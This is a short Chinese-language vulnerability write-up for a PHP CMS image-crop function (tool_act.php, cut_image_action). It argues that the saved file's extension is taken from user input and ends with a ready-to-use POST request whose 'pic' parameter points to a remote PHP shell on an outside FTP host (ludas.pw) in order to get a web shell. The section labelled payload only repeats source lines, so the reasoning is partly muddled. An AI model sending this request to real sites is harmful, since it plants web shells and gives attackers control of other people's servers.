0x01 代码审计

lib/default/tool_act.php 392行

  1. <?php

  2. function cut_image_action() {

  3.         $len = 1;

  4.         if(config::get('base_url') != '/'){

  5.                 $len = strlen(config::get('base_url'))+1;

  6.         }

  7.         if(substr($_POST['pic'],0,4) == 'http'){

  8.                 front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);

  9.         }else{

  10.                 front::$post['thumb'] = substr($_POST['pic'],$len);

  11.         }

  12. $thumb = new thumb();

  13. $thumb->set(front::$post['thumb'],'jpg');

  14. $img = $thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'] -$_POST['y1']);

  15. $exts = array('jpg','gif','png','jpeg','bmp');

  16. $ext = end(explode('.',$_POST['pic']));

  17. if(in_array(strtolower($ext),$exts)){

  18. $new_name = $new_name_gbk = str_replace('.','',Time::getMicrotime()).'.'.$ext;

  19. $save_file = 'upload/images/'.date('Ym').'/'.$new_name;

  20. @mkdir(dirname(ROOT.'/'.$save_file));

  21. ob_start();

  22. $thumb->out_image($img,null,85);

  23. file_put_contents(ROOT.'/'.$save_file,ob_get_contents());

  24. ob_end_clean();

  25. $image_url = config::get('base_url').'/'.$save_file;

  26. //$res['size']=ceil(strlen($img) / 1024);

  27. $res['code']="

  28. //$('#cut_preview').attr('src','$image_url');

  29. $('#thumb').val('$image_url');

  30.                                  alert(lang('save_success'));

  31. ";

  32. echo json::encode($res);

  33. }

  34.  

  35. }

文件名的生成代码:

 

  1. $new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));

直接用了$_POST[‘pic’]的后缀做为新文件的扩展名,这里可以直接getshell
构造payload:

 

  1. $len = 1;

  2. if(config::get('base_url') != '/'){

  3. $len = strlen(config::get('base_url'))+1;

  4. }

  5. if(substr($_POST['pic'],0,4) == 'http'){

  6. front::$post['thumb'] =

  7. str_ireplace(config::get('site_url'),'',$_POST['pic']);

  8. }else{

  9. front::$post['thumb'] = substr($_POST['pic'],$len);

  10. }

 

0x02 漏洞复现

 

  1. POST /index.php?case=tool&act=cut_image

  2. pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146